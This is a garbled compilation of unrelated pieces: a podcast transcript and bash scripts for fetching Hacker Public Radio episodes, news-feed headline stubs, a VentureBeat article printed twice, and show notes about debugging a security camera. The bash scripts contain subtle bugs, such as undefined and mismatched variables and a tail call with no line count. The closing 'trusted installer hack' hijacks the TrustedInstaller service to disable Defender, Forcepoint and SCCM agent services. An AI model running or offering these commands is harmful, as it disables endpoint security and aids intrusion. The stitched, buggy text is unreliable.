5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

• Download the RSS XML document.

• Extract the URL links to the audio files.

• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

• Make a list of the new URLs.

• Go through this list of new URLs and download each of the new audio files.

• Check to see that we actually received the new audio file.

• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

• First we use wget, which is a standard command on most Linux distros.

• We specify four things.

• First we set a timeout. I have chosen 20 seconds.

• Next we set the retry limit. I have chosen 3.

15

• Then we specify that the output of wget is sent to stdout rather than saved as a file.

• This is done by using the -O option followed by a space and then a dash.

• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

• Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

• First, we need to create a directory to hold the scripts and their associated data files.

• Next we need to create a directory to hold the downloaded podcasts.

• Then we must copy the scripts to these directories and make them executable.

• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

• Then we need to run each script manually from the command line to check for errors.

• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

if (( $PodCount > $DownloadLimit )); then

echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

The post OpenAI says model test was behind Hugging Face hack appeared first on CyberScoop.

Anthropic's Claude Cowork desktop app now lets users record their screen while completing a task, add voice commentary, and have Claude turn the whole thing into a reusable skill.

The article Claude Cowork learns new skills through screen recordings and voice-over explanations appeared first on The Decoder.

Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

Why AI speed isn’t translating into ROI

Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

Why AI speed isn’t translating into ROI

Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

The post Estée Lauder Discloses Impact From Oracle EBS Zero-Day Hack appeared first on SecurityWeek.

Read more →

The post Estée Lauder Discloses Impact From Oracle EBS Zero-Day Hack appeared first on IT Security News.

Dieser Beitrag TfL-Hacker verurteilt: Social Engineering, verschlüsselte Chats und Jahre Haft erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Hugging Face gehackt: Autonomer KI-Agent missbraucht Dataset-Codepfade erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Tags: #Cyber Crime | #Hackerangriffe aktuell

Read more →

The post World’s Largest AI Model Repository Hugging Face Breached by Autonomous AI Agent appeared first on IT Security News.

Show Notes

Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"
